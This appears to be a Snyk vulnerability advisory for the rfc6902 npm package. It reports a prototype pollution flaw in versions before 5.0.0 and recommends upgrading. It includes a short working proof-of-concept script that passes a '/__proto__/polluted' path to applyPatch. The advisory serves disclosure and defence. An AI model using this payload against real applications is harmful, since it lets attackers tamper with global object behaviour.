rfc6902@2.3.0 vulnerabilities

Complete implementation of RFC6902 (patch and diff)

Direct Vulnerabilities

Known vulnerabilities in the rfc6902 package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

rfc6902 is a Complete implementation of RFC6902 (patch and diff)

Affected versions of this package are vulnerable to Prototype Pollution. It may allow attackers to inject or modify the methods and properties of the global object constructor.

PoC

// poc.js
var rfc6902 = require("rfc6902")
var obj = {}
console.log("Before : " + {}.polluted);
rfc6902.applyPatch(obj, [{ op: 'add', path: "/__proto__/polluted", value: "Yes! Its Polluted"}]);
console.log("After : " + {}.polluted);

How to fix Prototype Pollution?

Upgrade rfc6902 to version 5.0.0 or higher.

<5.0.0